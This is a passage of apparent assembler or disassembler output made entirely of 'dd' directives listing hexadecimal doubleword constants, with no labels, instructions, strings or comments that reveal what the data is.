0C29465F6h, 3C463D02h, 2516D02Dh, 487EF479h, 0E4395052h dd 0DD2880C9h, 0C59A2AEEh, 0EE295A24h, 0D26525h, 930E9925h dd 40BF4859h, 13354086h, 8130C7D5h, 73F591ECh, 7A86770h dd 5705E132h, 7D3B9C59h, 0AB93C20Ch, 62D1DA46h, 5AD399C9h dd 0E843E2F6h, 0D0F3FA10h, 85BB078Fh, 0A2375F1Bh, 27561C55h dd 95E4266Fh, 5FFD2413h dd 0BC2805AAh, 16D01321h, 7A9986E7h, 5D98024Bh, 76F52F80h dd 0B151DC60h, 9CE9490Bh, 2D18F5BBh, 7BE18C0Eh, 0A693A9EDh dd 5E4F7658h, 0BDC01634h, 0ED30519h, 0E9CE3139h, 5A56B7ACh dd 521EF4F6h, 0A7D76209h, 0AF988E84h, 0D9BB5Bh, 5684F381h dd 5F5A284Ah, 0CAEC68ACh, 928FA45Fh, 6579A04Eh, 0C2236C65h dd 0FBECE7B5h, 6B13B3AAh, 0FEFFD004h, 307AECA3h, 0BB14CFA6h dd 0B22F3ED2h, 2E67908h, 0E5623428h, 204C16D5h, 6814E0D7h dd 850D116Eh, 2EA32CAFh, 0B38B4B25h, 6806657Fh, 0F14201C0h dd 7029C8BCh, 58BD6A5Ch, 896DA501h, 5F09FE89h, 0B8009DD0h dd 2137E1Bh, 2C4FC725h, 26A10E7h, 34E0705h, 9806F782h dd 0B038A60Eh, 0F7BD0536h, 0EC79B623h, 22B35183h, 134A181Dh dd 0C44992E5h, 1ECAA539h, 6627C989h, 250A12D2h, 0E87E045Ah dd 0F25B0973h, 4F6220EAh, 720BED98h, 57F70506h, 2DE8788Ah dd 45F59242h, 91A9A0B0h, 0EA7D692Ch, 0F7D3C084h, 6047813Fh dd 8180C7B3h, 3C1012E3h, 4016B101h, 313550C2h, 672D2F98h dd 85CEF970h, 0A33E7768h, 8BE62790h, 9A96FD80h, 0AB0424Ah dd 96D4BD5Fh, 75DA89D9h, 0AEA17C5Bh, 27DB6408h, 9300ADFEh dd 0BE41A729h, 0C16D4B0Ch, 12C5EC88h, 7B0B40CAh, 1B293266h dd 24825910h, 64E4DD6Ch, 3A790507h, 23C22A35h, 429779F9h dd 9ED7268Ch, 51B62FDDh, 76ADA953h, 748C59D0h, 0AA0BBB8Ch dd 0FFF23226h, 0FA54A6A9h, 92F5C10Dh, 0F1D0EF20h, 793F50FEh dd 0B8124B68h, 380CB249h, 0C75AEAE9h, 0B6C602FCh, 0C203CF86h dd 2A42701Ch, 522E156h, 8142356Ah, 3FB163BDh, 5CA35AE2h dd 55AE5625h, 2E5EDA91h, 0D9F3EE40h, 2C7FA911h, 3F78D801h dd 71312292h, 891CAE1Bh, 0DDE1AAB1h, 5B05BBC6h, 5A7DA569h dd 282C32C7h, 0BFC9045h, 0FD11205h, 5902E9DCh, 0EC73C868h dd 2B562005h, 5BD0BB07h, 9DA24D17h, 0E3ABABBAh, 80604D1h dd 98108A68h, 752826C3h, 0C2084ABh, 225D4CD4h, 3B218827h dd 7A6566B4h, 1DE028E0h, 8E166F3Ch, 41C432CDh, 0C7488071h dd 1A5CC512h, 8B6051Ah, 0E6870ED0h, 2586C94Bh, 8B61057Bh dd 0C2E2FA34h, 4A8CEC97h, 56934BEh, 0FE2A8AA3h, 126AC739h dd 7222EA9Eh, 9D46F075h, 0E971C8D4h, 6DA584F5h, 0CA575742h dd 3FE5DE8Eh, 14EF4E84h, 36AB1209h, 9A012C2Bh, 686ED471h dd 0B2286796h, 0C9E528Ah, 0BA147F06h, 40763B09h, 0B4D9041Eh dd 5EBA2FEAh, 8C4E1C8Bh, 4394B1AAh, 0B0098D21h, 0BEA15635h dd 0B9004120h, 8A6677Fh, 51EC981h, 0F762C434h, 6DB400D9h dd 945E94Ch, 0EE21C15Bh, 5401A625h, 216B305Bh, 54E6DAAh dd 0B75CDC30h, 276E02EDh, 0DEE13687h, 0E589655Ah, 78FEDDD3h dd 0EE8100E2h, 0DBF84101h, 5EF52409h, 6A210CC0h, 610FC647h dd 6F1378ECh, 0FD16DABCh, 2FA70DE8h, 3098B3Bh, 0D90A4CCFh dd 0BEEFE069h, 1274FE66h, 0AE5FFA01h, 0FC4F808Ah, 0E07B0B94h dd 30C65E2Ch, 9224DB44h, 0C00F4Ch, 67DC37D1h, 0BCF9CBE9h dd 7ADCC91Dh, 0B3E1862h, 7F0D4A77h, 6229EE79h, 7970E34h dd 0D6D956B7h, 37B899Eh, 8509187Dh, 7E427C0h, 6C04257Ch dd 812FC20h, 6805F413h, 0B64B4794h, 29C3C049h, 4AF3EEEAh dd 450490C1h, 333BB45Eh, 72AEE152h, 77CA0C7Ah, 70287C2h dd 0E745DE9h, 764B342Eh, 0F2577A9Dh, 0AC4720F0h, 43DD8725h dd 4CBFA730h, 0F6C57F8Bh, 43A4F32h, 16636h, 187E0F2Dh dd 12EFEA5Dh, 0EB525C15h, 0E750C18Bh, 0F0697E5h, 0E84DA45Fh dd 0F2267C51h, 9B433846h, 532BB2Eh, 1433F72h, 0A6D58245h dd 0CC503B74h, 0A6C4B15Fh, 0A13E3D8Eh, 0C779524h, 32A5DCBBh dd 6937491Eh, 49A9768Ch, 27180BEBh, 97003B03h, 3D596E74h dd 0E9CB3105h, 0FF459134h, 0AF820568h, 308FA142h, 0A96A5AD3h dd 0E1CD9252h, 0B8C2203Fh, 0D09454Ah, 7F02EEC1h, 0C2B20E24h dd 8955031Ah, 969B550Fh, 766DFE01h, 6FBE5B80h, 0FA290B92h dd 9EBEAB12h, 2581482Fh, 0F082E870h, 0ED54B5CEh, 17AFF0ADh dd 0B028EB80h, 7449E96Ch, 2CDC5880h, 0A7AF47ABh, 71B255C6h dd 0D8AEA9B2h, 42EF0675h, 823EF93Ah, 2F40FC0Bh, 1CE30D38h dd 801C0806h, 5F13E914h, 0F2C496CFh, 0A7AD91B7h, 5EBBAB81h dd 7A3FAC4Eh, 0EA836C07h, 2660AE5Bh, 242159h, 57E09E7h dd 2965CB81h, 0DD44E927h, 0D03108A2h, 0E9423ED9h, 0E822F080h dd 27C0F8F3h, 0D9C508EBh, 76F04993h, 76FE0BBBh, 4CDF4DD4h dd 1F229D37h, 88030350h, 0FEEE92F3h, 0A86812D3h, 0B28A8934h dd 40F78E0Eh, 0CDE9FE20h, 61AF9687h, 88441768h, 2FA59FABh dd 0C3221075h, 4A7392E1h, 9D3434h, 25299788h, 0E3388175h dd 981EA41Dh, 248CCB00h, 0FA4337B9h, 423E0CC3h, 0E30ED7CCh dd 33F8F04h, 0BDF44B62h, 0D16E16B7h, 3C87EE46h, 621D3830h dd 0EA681831h, 0A9899D4Dh, 0C07F0981h, 0FAF9F63Ah, 3191F716h dd 0C4B204AFh, 1361B3BCh, 13CA11B0h, 9F580B5Bh, 7B684CA1h dd 2306A7Fh, 22F5323h, 0E3F5BA1Dh, 13550D73h, 0B20F88B3h dd 2ECEB06Ah, 0A72610E9h, 48A02F5Fh, 45313A9h, 0AA3D33h dd 892C480h, 4B76B0E6h, 5A610595h, 1860E85Eh, 0F20CBA4Dh dd 0FDE205D8h, 0ACDAF7BBh, 0F514CB8Ah, 8C8290B2h, 5357B863h dd 62E9C1D1h, 0BB84C30Eh, 8593D0B7h, 4460FAFAh, 0A82D5FF8h dd 0C9A4E826h, 0DD1CE1Bh, 88E4E9E7h, 0B4E470BCh, 0DB4A0BF0h dd 80C954FDh, 0B809DCF0h, 22606Ch, 39F96BB3h, 0C50125F0h dd 2266A4B0h, 0FC5D2ECAh, 41E0E817h, 0F7D4A221h, 74BF6052h dd 82731202h, 96755EADh, 0BF294AA7h, 0B5E92C20h, 80E29EEAh dd 380F6173h, 0BC16F2Dh, 0A6E9C701h, 0C6E502F3h, 364177D7h dd 4D02805Dh, 0A2401E73h, 5EF340C3h, 0BD18C119h, 0AFEC8A1Dh dd 0B0867282h, 0D9395862h, 0F5294B09h, 2A52A900h, 8E927ADAh dd 1059E304h, 0AB802E3Dh, 4BD75E4Bh, 997EC46h, 840DA138h dd 0BF16C79Bh, 0C9F928DDh, 0B52D9E34h, 0E4D16B6Bh, 0E6BD8147h dd 54A77080h, 3FB67430h, 0E90AC048h, 9DF49033h, 0D253C9F5h dd 0C77F9EABh, 83DF2554h, 84061F74h, 0D9488C32h, 93127FBDh dd 0FEE694Ch, 4DC1818Eh, 3A574713h, 5B087350h, 0B96DCB29h dd 0CE690970h, 85775D2Ah, 9FBE51DEh, 5D9F6901h, 0A81B6FC0h dd 0B723081h, 1254531Fh, 6B80E183h, 9FD3D9B2h, 0C7680B7Bh dd 6FB0DC4Dh, 70147420h, 0B6CD5946h, 0C47A0F72h, 502D4CB7h dd 4A4B1F7Ch, 5C1CCE61h, 3B77B711h, 0A23839Dh, 9CED550h dd 2973AE4Ch, 0D695ED52h, 50F486Dh, 0FD91C5E9h, 411F8679h dd 0B5527F67h, 0BE406A74h, 5CBDE8B9h, 51126F0h, 0F2FF20E7h dd 81AC9496h, 534E1BC9h, 7BE88B16h, 42877D4Fh, 0B60F72CEh dd 473ABE00h, 0BFD3B82Ah, 7552EF74h, 4B04162Bh, 0C5E585D3h dd 0F7F6BA39h, 0C8B6B9D7h, 0B7545808h, 5464FE9Dh, 0E92D15ACh dd 85FC583Bh, 0EDC143FCh, 0EE0B20EEh, 8B0FB988h, 93CD906h dd 20743C96h, 523F62h, 281BB151h, 2C59C80Eh, 0E5D8AFBFh dd 8CBBC53Ah, 0D99D5BCBh, 0D787032Bh, 0B2D9F118h, 738A2F67h dd 95995A2Ah, 0A982B0E0h, 2778F7DFh, 0C1C0D237h, 0D7613398h dd 99FEF409h, 0A2F46497h, 0FF329C6h, 0D051E238h, 0C0CD9227h dd 186EF355h, 0C6A5C48h, 30F03F39h, 9CE488C0h, 4E314D57h dd 4AC3A6D9h, 0EA9DDA32h, 865177ECh, 22A6538Bh, 7C7DD1C1h dd 44866209h, 62BFC9C6h dd 0A198C541h, 0A0E09332h, 55485829h, 46232DCBh, 99CD2AA7h dd 0E8B55B1Dh, 27FF1B7Bh, 0B9A42E35h, 39616B1Eh, 0AE207E52h dd 7EBE56h, 539127Ah, 1C5A1857h, 81687097h, 0EAF45E07h dd 8B0D271Ah, 8C3E1656h, 0A55B9568h, 0B6DF5FD5h, 68F944E1h dd 185EF024h, 0FA61DC2h, 0A84899A4h, 2839C095h, 2FE91DFDh dd 70655A11h, 98E40C37h, 0EDBA4090h, 40690A59h, 31EADA87h dd 0EAE95608h, 0CC7F918Bh, 9AD2BF14h, 0F949775Eh, 0E8397D34h dd 492B5Eh, 9058F294h, 0B4031D24h, 0D7E18422h, 0B5F1AF69h dd 7431D9C9h, 0B348853Eh, 0DFFE93A6h, 0D55C2F98h, 5C95213Eh dd 0E4FD7292h, 0D6E92F97h, 5CB84A00h, 58B57E06h, 0B55FC92h dd 0C8310B43h, 1242616h, 0DD0811C1h, 85772DA7h, 19C8FDA8h dd 602941ABh, 0CD4096CBh, 4CB92568h, 46A22C18h, 7F9358h dd 0EB2D8BCBh, 975EE94Bh, 0B4FFCDEh, 7218F5FCh, 0BB85954h dd 0EB682E0Bh, 0C1298B6Bh, 96920996h, 0B45344D1h, 3A19863h dd 0EF46641h, 62F3BCA9h, 54F6CE20h, 0D82EE850h, 59C66CDDh dd 35F8F14Eh, 0A88B7913h, 0A7BBE0A3h, 6A2F2710h, 0C11390FDh dd 3FDEBDEBh, 698DCB01h, 982B7DF9h, 5F2CFF17h, 470D4D26h dd 4A437986h, 0B8DD5FF4h, 8BFA482h, 0BF80F307h, 253A34F1h dd 0CB1302BEh, 0FE01DAC5h, 0EA7780C2h, 98F8ECDAh, 48952C97h dd 0A7F7A708h, 1D680843h, 0C514B8B0h, 0C310F566h, 0DA5F25DDh dd 0F8F398A4h, 6A0B9517h, 0E8F969D2h, 0BC2E0A30h, 8486402h dd 0E57ED031h, 8391896Ah, 301DA61Eh, 0EAC6F464h, 5869B61Ch dd 0ED9F10F2h, 44E9851Dh, 5C03C836h, 74184800h, 2639CF81h dd 0F7620309h, 7EAF68DFh, 311E5310h, 0F83B2851h, 0D9E9F06Fh dd 5A132F11h, 8A08C5Eh, 0C084D99h, 96C68146h, 2011CBF4h dd 1F1606A1h, 9F14C18h, 0BD1D1B60h, 0E9F00680h, 37C2B3EBh dd 0E31C3ECDh, 0ABF5B016h, 0BDB82C2Bh, 24A1079h, 432878BAh dd 53425D6Dh, 57601856h, 14946850h, 0D44EAF74h, 28567610h dd 0F6BD6205h, 0C47F521Ch, 0A290205Ch, 0DF57B238h, 201B69BBh dd 180E090h, 6084EED5h, 0C8C7C3A0h, 0E15CC086h, 0D1AD2DACh dd 34AADAFh, 244D15D5h, 93DFA5E6h, 4818F16Dh, 0DE63620h dd 50F558AEh, 7A5EDC0Ch, 0E1A2664Eh, 0C105E2C1h, 54592106h dd 0C92BE235h, 77B0E238h, 914348D1h, 281C12A2h, 0EC7E1FE2h dd 0B1631D58h, 0C174B53Fh, 6F4C30EAh, 0FA011991h, 0C11A3246h dd 0E07B02F5h, 65BC03D1h, 0E5481601h, 0EB42D621h, 0F7A00FDFh dd 0C475ED8Bh, 0A7416EB0h, 0D8891D2Ah, 0DC3BBE0h, 0D2F8202Fh dd 154E9733h, 9122E91Ch, 0A1BE5525h, 82C0B08Ah, 0A29425DAh dd 33676DEFh, 0E9C6F263h, 0D8BFED27h, 0BF350477h, 0BC16AB65h dd 62F72506h, 4F1EF125h, 0BBDCFAC4h, 55FFE12Ch, 7FD9F508h dd 24588724h, 0A74FDD31h, 0D37261D1h, 9D680063h, 5A2320AAh dd 51D53127h, 0DF74C241h, 87BD5500h, 0A04A2C84h, 0AFAA1203h dd 5A296F63h, 589EB6ECh, 43A65B82h, 0BDE64078h, 0E4592E0Fh dd 0DCB7452Bh, 8B944DE8h, 5C4CCE20h, 27F1044Fh, 0F2EE3B83h dd 380FD3AEh, 156A4549h, 4BF26481h, 594AB900h, 4B384726h dd 82609B03h, 0C82E005Eh, 936F171h, 0D6B55BD9h, 0CA294235h dd 251850DFh, 0A755FCA5h, 1022E656h, 0EBB2C19Ah, 0BFA12FFCh dd 854F45F1h, 0F3BFF254h, 38DD4107h, 0DDBF02E2h, 0FD372520h dd 0F0F210E8h, 94D85582h, 0CF53A60Ah, 0CA10934Fh, 0BCCE8712h dd 0D5E7752Dh, 0E90889D2h, 4EFE7877h, 0E088FD5Dh, 0F787BB9h dd 0E9917FC5h, 67D93F09h, 710BE485h, 0D8A1B90Bh, 42B1BED5h dd 0E9408107h, 550B56Ch, 0E91750C4h, 5AC416B9h, 0CC116B91h dd 85ADAC2Fh, 6585138Dh, 353F2CAAh, 0E47E5F41h, 0A04174D1h dd 0A367873Eh, 5C780549h, 0B08C251h, 28FC4BF8h, 0CB5C15E7h dd 72142732h, 0B6544049h, 6BB18407h, 99B5F130h, 836879D1h dd 0D94FE67Ch, 12982DB5h, 0E1B81B9Eh, 0B309C7C5h, 2929677Fh dd 0E9F889C0h, 0D8E76B28h, 0FD2E4500h, 0B6F64334h, 1BDD144Ah dd 3912B239h, 85B4AC95h, 8AC4CD3h, 6C13E2E7h, 434509C8h dd 5E05581Eh, 0FA7C19CBh, 208A8603h, 5A7B4D49h, 972A1F21h dd 278DE754h, 0AF307DFBh, 18BF8B9Bh, 1C1A813Bh, 4FBA4FA1h dd 0DC149599h, 63063501h, 4C2290Eh, 0BF580800h, 7EF38E90h dd 0ADD74B4Bh, 53EF8040h, 9819FF0Fh, 70EA0B7Eh, 0BD51635h dd 9831280h, 2EE0380Bh, 0D748BFA6h, 0C07B6859h, 0F9627B96h dd 5CE5FA2h, 2220E390h, 0F3810737h, 0B5564EDEh, 233CC14Bh dd 301EE50Ah, 7C13EC13h, 0A004FB4h, 4846A37h, 94089809h dd 5BF42D44h, 8889031Ch, 88955EE2h, 956A42CCh, 842D4000h dd 5E07E949h, 0DA63B458h, 5F5F5B3Ah, 3218EDE2h, 15F797E8h dd 0FBD05013h, 905E6B0h, 63DF4658h, 95E986F7h, 4CDF9C65h dd 83802BCh, 0D7292F5Ah, 51FB289Ch, 567098Ch, 0BA9EE10Dh dd 64CD9620h, 0EE5F0C9Fh, 1A928AF3h, 0DBD7310Dh, 0B8752DD3h dd 5E23E9BFh, 0C79F3166h, 89972ED5h, 907A034Dh, 8BC0C5DCh dd 89098504h, 0CDEF5DEEh, 89843FA4h, 52C77C84h, 112A4CF1h dd 8F12C03Eh, 1BB08C16h, 5687572Dh, 7F4FC2E1h, 0CA73A7F7h dd 1945082h, 2C553868h, 22C2C23Ch, 0E7C17FECh, 464BFC74h dd 3D5E097h, 0E90B0E8Ch, 0EA136E65h, 0A82AC88Dh, 4EE013F9h dd 72C4F5B8h, 0ADE9033Ah, 0F80A4A50h, 42C25171h, 0CFE09C2Ch dd 0CB5F2142h, 66B753C0h, 0A0445E9Fh, 5D0E2596h, 0C151E30Ch dd 303E570Fh, 0B698A47Fh, 775AF040h, 1BD1BFC1h, 6E2CBF60h dd 24344847h, 5F4B6204h, 0C1A28445h, 444AAF78h, 27D3B8E3h dd 347D9666h, 0FFB725BAh, 0EF7F8381h, 2968B7D8h, 0BF9C0E60h dd 3D09825Dh, 3F8872CFh, 0BB92006h, 0A843E9C5h, 0DC646AFEh dd 6AF2C895h, 0ADAC06C4h, 7E3ED584h, 0C600164Fh, 1F1764BBh dd 4EA9F440h, 1280F3D8h, 0A3B98243h, 0EEC0FE00h, 70B45008h dd 70EC8024h, 0D7F3610Bh, 0DF680B38h, 9BA2195Bh, 15A326D8h dd 0E9380906h, 3178FD7h, 0D6683EE2h, 0F2B8424Fh, 6A306C65h dd 3AC50F0Bh, 0C4635A1Eh, 0BAE7E0A7h, 27E41616h, 0D7FD060Bh dd 0B054D8B1h, 0DBE5DFAh, 65340018h, 63DBE681h, 639F7148h dd 0F33602F8h, 386203A5h, 6589BEC0h, 6B85FB9Fh, 9152B57Eh dd 87B265CCh, 16615BE2h, 1377209Eh, 20EE4B00h, 0FDE9CB29h dd 5F1EAA47h, 0BC24A359h, 0D1A7D626h, 47056B74h, 44D533Bh dd 16B3E2B9h, 3CF6D40h, 9A4B1E60h, 5F7A2FFEh, 464B8E76h dd 400F2746h, 0E98519EDh, 21BA349Dh, 36ABDF9h, 0DC76175Bh dd 0DDA840DEh, 1CBCE581h, 452AE406h, 0E812EDD1h, 0FE0C7B46h dd 0E7C8B2F5h, 29DFE07Fh, 15854E0Eh, 631D8DE9h, 0E3E4B02Eh dd 8CD1245Bh, 0C004D337h, 0F6196111h, 0B111F48h, 20358B2h dd 81DB150Dh, 0B07A8811h, 5A5A8530h, 677A7A3h, 3E8C6856h dd 41C32DD9h, 0D803D824h, 0E1E8B52Fh, 8DA02C4Ah, 1EFB04CBh dd 0BF7AE9D3h, 2679DCE3h, 8AA08C9Fh, 7AD03EBh, 0F9603509h dd 82B4EB05h, 475131Ah, 43FD5AFDh, 9E30ED11h, 0CFDD2EA1h dd 3B59A1B2h, 0AE9234B7h, 27F34F8Ch, 7576535Eh, 2239FE71h dd 4B9B6F10h, 2A852DC7h, 8FEBCE12h, 7E24942h, 13C3135h dd 2341E3E0h, 20B4B887h, 6EB1B6B9h, 5C0090Bh, 169939D8h dd 180CFE48h, 0AB447503h, 0F74EB81h, 293CEF13h, 8C3860Ah dd 39F26804h, 14F3BBD8h dd 0F575B105h, 34574900h, 70BBE932h, 3CB97EA3h, 0C4CC78A1h dd 68054003h, 0A515971Dh, 0AB9B947Ch, 0ECE562E2h, 95BBA423h dd 4338EECCh, 0A1A54AE9h, 0B7816863h, 71DD5CF2h, 23012D71h dd 0C22A9668h, 63A9F9DDh, 0C1A5309Ch, 0C2E45FACh, 69615157h dd 0B69A01A2h, 0C2824CF4h, 0D56920B2h, 0CF98B940h, 9E43FCB5h dd 0ACC14955h, 309DE4F5h, 0E275BF1Ah, 0DA407665h, 12C94C71h dd 0CB4BB7D2h, 3763951h, 0A69B5DEEh, 0D2EE0BECh, 5DEB2427h dd 0EBE81724h, 4658F84Eh, 20165405h, 0F62D9E75h, 25EE44D6h dd 0D27BB168h, 9E018B1Eh, 0C654E91Bh, 2A551AAFh, 5D00C3C8h dd 816DA35Fh, 0C0907E1h, 6BD108EDh, 3698F213h, 59241B46h dd 54023041h, 8974866Eh, 0EA7548B9h, 92C091Ah, 0A05F593Bh dd 706BD7ABh, 52C09662h, 57CB28DCh, 0E916984Ch, 28FAD73Eh dd 0EF1DA9h, 9F199568h, 0E942E3F3h, 8154D411h, 0C0469FF7h dd 0A1F7300Fh, 7AD57306h, 910474Fh, 0A5569076h, 5C7A3C0Eh dd 5990041h, 4B8580EFh, 69951B6Eh, 0C42D5FDCh, 6548112Fh dd 0AD72D29h, 0EEE601EEh, 1301AC2Bh, 2C3BC609h, 8BB422E9h dd 0E87C5859h, 0A5FC5113h, 7BA315B1h, 37DF7CAh, 31722547h dd 0EE9C5AD7h, 34FA7240h, 24573603h, 849F789h, 0DE2F9365h dd 0D97F727Fh, 0B4143106h, 0AC817BE5h, 0BF71DFC4h, 3134042Ah dd 41E3AFD8h, 2FDC8F8Eh, 215873F6h, 0B178A0F1h, 2C46BFC0h dd 0F1DF412Dh, 45BC8EFFh, 5CB62D1Ch, 75A35C4Fh, 52E95681h dd 22BF0090h, 54480F0Dh, 4F42E781h, 0EF8058A7h, 2B674436h dd 0A145EC7h, 82E90161h, 0F78C136Bh, 2B2F7D92h, 4A757B2h dd 5E469F87h, 280014FAh, 535A66D0h, 3D809FB7h, 0B04FD2EFh dd 424D838h, 8250EECDh, 9AB9805Ch, 2E012712h, 0CC22A501h dd 7374B236h, 4EC45A0Ch, 0DF65EE1Ch, 548F805Ch, 70BF4808h dd 0FF1A4F6Dh, 0CA3DDD24h, 0F58FD86Bh, 76E32298h, 7A680CF6h dd 4E809B25h, 8B5FB8E6h, 8823A328h, 1C2E2DD9h, 2CEAADCh dd 5847E9C8h, 0D2E79E5Ah, 2AF916DFh, 90558806h, 3F2D0B36h dd 4E04620Fh, 51590B8Ah, 0C22F96C9h, 16DC5D39h, 3E7E555Ah dd 5559CD61h, 8251B37Fh, 5F54A9E9h, 525B9225h, 724B0FA2h dd 4A5D28E0h, 0C3016853h, 0E91C7132h, 0D850B48Eh, 5B016FA7h dd 5B19BC66h, 5DBDFEF4h, 95914DC7h, 7516154Ch, 78A1C99Ah dd 0C5EAD3D7h, 1844B0E3h, 41C69884h, 57A6097h, 5C2FD3B1h dd 510A5B88h, 0D4D0FFE9h, 0DA9BE39Ch, 0D101E181h, 827D987Bh dd 0D38F2F4Dh, 0EE6560BFh, 91204F61h, 0BE98263h, 2C16DD08h dd 5BF2EE52h, 0C4F750AAh, 0F1298970h, 45B34755h, 200F07E0h dd 0F702110Fh, 19FAF4D1h, 78088BEh, 0E2C145F9h, 9E5CBF08h dd 0C447D4A7h, 6771C097h, 0A1B693E9h, 2C6D5417h, 20C9124h dd 6821C02Bh, 0CE5D5ACFh, 9B44FC91h, 0B05209B3h, 7F7A845Ch dd 680763EDh, 170E6DD1h, 20F22DFBh, 0BE80876Ah, 61682C8Ah dd 43E6009Fh, 0F753FD49h, 94E9DE09h, 0EAF0B27Ah, 5EDE412Bh dd 0A866E964h, 95CAEF9Ch, 23266F94h, 6861098Eh, 0CC7E50E6h dd 6516BE5Ch, 69809D45h, 13C262D3h, 0C166E977h, 0DC5F54B1h dd 0CCBB16AEh, 0AB21AC0Bh, 5A4450FDh, 845EE2A3h, 0EC16183Eh dd 0A8E2020Dh, 406CF42Bh, 7DFC7CD6h, 0BA01625Bh, 14FDA166h dd 2ED00B3h, 0E952891Eh, 4A95327Ah, 0AD965586h, 4A9DC1ECh dd 1B17450h, 108F678h, 0FA1116D1h, 0D8DA6997h, 0CA8B2419h dd 5EEBA85Ch, 9B18394Dh, 0A7F5616Eh, 1DF2771Dh, 4954E581h dd 0C835026h, 3A5B6914h, 55D1B206h, 1300A72h, 0C335CA30h dd 51FB2EE9h, 0F0A8E5CDh, 6B903798h, 0C003ED27h, 12CCF98Ah dd 2CEE29FBh, 0E617C1ABh, 24025006h, 0DC0ECD4Ah, 5C415ABBh dd 0B4C310CCh, 12190B86h, 8CF0DA29h, 6362B509h, 10218659h dd 0B595E833h, 8B700CD6h, 17829305h, 0EE5D566Fh, 0F69490CFh dd 1D0D6910h, 8DD3DAF6h, 0A554E64Fh, 0A2EEC0D8h, 99B2754h dd 0D2257642h, 0C3C0DB54h, 13A60FECh, 10D3015Bh, 9A4D0826h dd 0E3C5731Ah, 880C0281h, 0D2E7F772h, 0CC5F7FA7h, 7C2FBF0Eh dd 0FF09EDFCh, 770595B0h, 2DAA4012h, 48D3ECB0h, 89A15A23h dd 0D8CB2BC6h, 0CC136A12h, 6012D6C0h, 20FE12CBh, 8F76383Ah dd 0A2F0494Bh, 2FC3323h, 73E19F0Ch, 412F7D7Fh, 140CA008h dd 601B169Fh, 3326BCF2h, 58B0023Dh, 58D2EF65h, 0BEF442BCh dd 5F742DE2h, 94E4B994h, 14B00153h, 0FD014688h, 8057621h dd 5004ABA3h, 0F9D11DE9h, 0FEDF273Fh, 0BA5B17E0h, 4765ACBh dd 0AE510DEBh, 4950EF44h, 0B9E91208h, 0F28A6956h, 0AD965C3Fh dd 0BF199D63h, 93A31325h, 2EDBD9AEh, 41737698h, 0F7A92ABFh dd 0E0D6BB87h, 16E974C4h, 58241E64h, 0B1D8AF25h, 0D5945ADFh dd 7B040E0Ah, 0BA1DE6A5h, 39D40213h, 0E28DD681h, 0FED05B03h dd 0F895C508h, 0AB3A334Bh, 0E24EB43h, 9240AC42h, 0F63DD352h dd 0DBBE2Bh, 0F1281A2Dh, 0EF0F0535h, 0E56E515Eh, 0ED4E8F3h dd 30DBBE0Fh, 0EDC0580Bh, 0E9084584h, 3AC60262h, 7542B522h dd 7F1CAB78h, 2E757ACh, 7999FF9h, 624F624Eh, 189A9D1h dd 2F969444h, 6F74F0E9h, 0DAF4F425h, 9B025971h, 617DB447h dd 4A6333C2h, 0D82816h, 0B2C5B724h, 152FE9C2h, 51FBFEAFh dd 0B1DC965Ah, 0AC5B5AADh, 16BBB5DDh, 0A85CFEAAh, 0B717D1C3h dd 2FE016Dh, 0E992EDECh, 0EB006A64h, 3A7EBD68h, 0B0584E0Bh dd 440B354Ch, 42CE9FAFh, 7E8075A2h, 0D223852Dh, 9E1655Bh dd 8AF30704h, 8F443C5Eh, 8140471Bh, 0F7178006h, 0D7BCBF1Fh dd 70256812h, 0E9F568AFh, 82C4C920h, 5C4B7DE2h, 69301FD9h dd 0B85A9815h, 2A521396h, 30A83Dh, 46361D35h, 4E8A6879h dd 0FFFE2259h, 74D0EEC9h, 0CF0681B3h, 3B592A2Fh, 3CE53980h dd 0B1F8252Dh, 16C10274h, 0D7D044FAh, 4F96A921h, 5B9E4B29h dd 25CC8BDFh, 9EFB521Ah, 0BB454E76h, 5AB44D99h, 6BC341C5h dd 6B700581h, 68B85503h, 8E240E9Ah, 0ED1E0B7Ch, 10759560h dd 8091A2E7h, 58F8C188h, 1707807Ah, 1B15153h, 7559CBB2h dd 5D5E8B5Ah, 0F9B38316h, 3EA78310h, 3C04FCF7h, 1354A02h dd 0CC465181h, 6579D7C2h, 0DF73699Ah, 0E409C0C4h, 751D7774h dd 4D30E05h, 0E2C6Ch, 8F069ABDh, 650DF409h, 0FA431485h dd 13AE0CA0h, 13ECD65h, 2A4E0892h, 79903029h, 0CBC65D16h dd 0CAE9CDF1h, 162F1560h, 0D1616A07h, 2CF297A9h, 0C404D3EAh dd 99EF902Eh, 0B0D4770h, 17098870h, 0EC11D946h, 0F3C00226h dd 45E9E25Fh, 7AFB91F8h, 6D0613ECh, 0A2149357h, 0C652030Bh dd 0A06C5659h, 0E5E6208h, 43D521E8h, 0CBAAEC28h, 5AD90500h dd 0D0ED55DFh, 4935CB04h, 7E58274h, 57187440h, 29C5A616h dd 3F1578D4h, 92E982A4h, 0ED8000A9h, 652F684Ah, 88F9F10Ah dd 5F1DB8C7h, 779FBB89h, 94814B4Ch, 41A7C30h, 764708BEh dd 2AE68080h, 61E53B74h, 5654F61Ch, 24520538h, 6694CC6Fh dd 0BB1D5372h, 3CBD1043h, 0DC5BBDDDh, 6B2819FDh, 68F45520h dd 7E3F7E31h, 0F587245Dh, 0DD6185Dh, 86047E9h, 0F168E555h dd 0F096A67Ah, 27655DDAh, 0DC63B682h, 72DF2D61h, 0C3EF0029h dd 0E9FABA48h, 25B7BCE0h, 8851ED74h, 7287B434h, 0A7FA4CD5h dd 2C11086Ch, 52B9DEB7h, 8F581A74h, 401E9499h, 7834BD55h dd 0BB173D0Ch, 4C310B30h, 45100BEBh, 0C7800EB4h, 91CF6001h dd 0C008EFC0h, 51B45013h dd 5873E728h, 128FE4Ah, 0B3C60480h, 0B7936FE9h, 10144878h dd 0D4408A4Dh, 94591261h, 0E2C5E1Bh, 3E58EDB1h, 0C883FCDBh dd 1FEB8082h, 3BCB2868h, 6F4E872Ch, 4B7C3A7h, 10D8F6F3h dd 0E483C2Ch, 7A5E2503h, 1E16D89h, 0F819AD7Ch, 59580F32h dd 51A605C0h, 0EE0DBF7Fh, 0C8CE2830h, 74360D6h, 313AA9A6h dd 0D682E22Ah, 464F7EACh, 8BB84F98h, 838F2E2Ah, 8D82F204h dd 80BAD37Ch, 0E9DDF793h, 12A51B5Eh, 0F4306A31h, 0DDA74BF9h dd 41269E8h, 0A1B7ABC6h, 72A0C3BEh, 7E823B4Ch, 0C80B31B0h dd 590194F6h, 39F9CB16h, 20F8566Bh, 0D85D5BACh, 0AEB514C4h dd 38EEB78Ch, 844ED35Eh, 8BE12C75h, 0B72EC8F6h, 0E7801C1Ah dd 53EFCBD4h, 0B6C0C8DDh, 50E6FAA0h, 0B5FCB97Fh, 